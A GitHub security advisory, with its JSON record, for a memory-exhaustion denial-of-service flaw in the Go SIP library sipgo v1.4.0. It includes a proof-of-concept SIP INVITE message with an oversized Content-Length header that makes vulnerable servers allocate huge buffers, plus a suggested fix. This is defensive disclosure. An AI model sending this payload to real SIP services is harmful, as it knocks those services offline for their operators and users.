GHSA-PG59-5VWG-4JXQ
Vulnerability from github – Published: 2026-09-22 19:57 – Updated: 2026-09-22 19:57Summary
The stream parser allocates the SIP body buffer from the Content-Length header before validating its size, which can lead to an unauthenticated DoS.
Details
ParserStream.parseSingle allocates the body buffer from the declared Content-Length with no size check (https://github.com/emiago/sipgo/blob/v1.4.0/sip/parser_stream.go#L195):
body := make([]byte, contentLength) // contentLength is client-controlled, up to 2^32-1 (uint32)
The ParseMaxMessageLength (65535) check is in the caller ParseNext (https://github.com/emiago/sipgo/blob/v1.4.0/sip/parser_stream.go#L132), and only runs after parseSingle has already allocated the buffer.
PoC
Tested on emiago/sipgo v1.4.0 (latest).
Send a single message with a large Content-Length and no body to a SIP server:
INVITE sip:victim@example.com SIP/2.0
Via: SIP/2.0/TCP attacker.example;branch=z9hG4bK1
From: <sip:attacker@attacker.example>;tag=1
To: <sip:victim@example.com>
Call-ID: 1@attacker.example
CSeq: 1 INVITE
Content-Length: 4000000000 // <- a large Content-Length
Suggested Fix
Validate contentLength against ParseMaxMessageLength before the allocation.
Impact
Unauthenticated DoS. Any service using sipgo with a stream transport (TCP/TLS/WS/WSS) can be forced to run out of memory.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.4.0"
},
"package": {
"ecosystem": "Go",
"name": "github.com/emiago/sipgo"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.4.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-58268"
],
"database_specific": {
"cwe_ids": [
"CWE-789"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-22T19:57:51Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\nThe stream parser allocates the SIP body buffer from the `Content-Length` header before validating its size, which can lead to an unauthenticated DoS.\n\n### Details\n\n`ParserStream.parseSingle` allocates the body buffer from the declared `Content-Length` with no size check (https://github.com/emiago/sipgo/blob/v1.4.0/sip/parser_stream.go#L195):\n\n```go\nbody := make([]byte, contentLength) // contentLength is client-controlled, up to 2^32-1 (uint32)\n```\n\nThe `ParseMaxMessageLength` (65535) check is in the caller `ParseNext` (https://github.com/emiago/sipgo/blob/v1.4.0/sip/parser_stream.go#L132), and only runs after `parseSingle` has already allocated the buffer.\n\n### PoC\n\nTested on emiago/sipgo v1.4.0 (latest).\n\nSend a single message with a large `Content-Length` and no body to a SIP server:\n\n```\nINVITE sip:victim@example.com SIP/2.0\nVia: SIP/2.0/TCP attacker.example;branch=z9hG4bK1\nFrom: \u003csip:attacker@attacker.example\u003e;tag=1\nTo: \u003csip:victim@example.com\u003e\nCall-ID: 1@attacker.example\nCSeq: 1 INVITE\nContent-Length: 4000000000 // \u003c- a large Content-Length\n\n```\n\n### Suggested Fix\n\nValidate `contentLength` against `ParseMaxMessageLength` before the allocation.\n\n### Impact\n\nUnauthenticated DoS. Any service using `sipgo` with a stream transport (TCP/TLS/WS/WSS) can be forced to run out of memory.",
"id": "GHSA-pg59-5vwg-4jxq",
"modified": "2026-09-22T19:57:52Z",
"published": "2026-09-22T19:57:51Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/emiago/sipgo/security/advisories/GHSA-pg59-5vwg-4jxq"
},
{
"type": "WEB",
"url": "https://github.com/emiago/sipgo/commit/a7be60a07f48c06b3cdd5a7d35eb820b3df5736c"
},
{
"type": "PACKAGE",
"url": "https://github.com/emiago/sipgo"
},
{
"type": "WEB",
"url": "https://github.com/emiago/sipgo/releases/tag/v1.4.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "SIPGO: DoS via unvalidated Content-Length in the stream parser"
}
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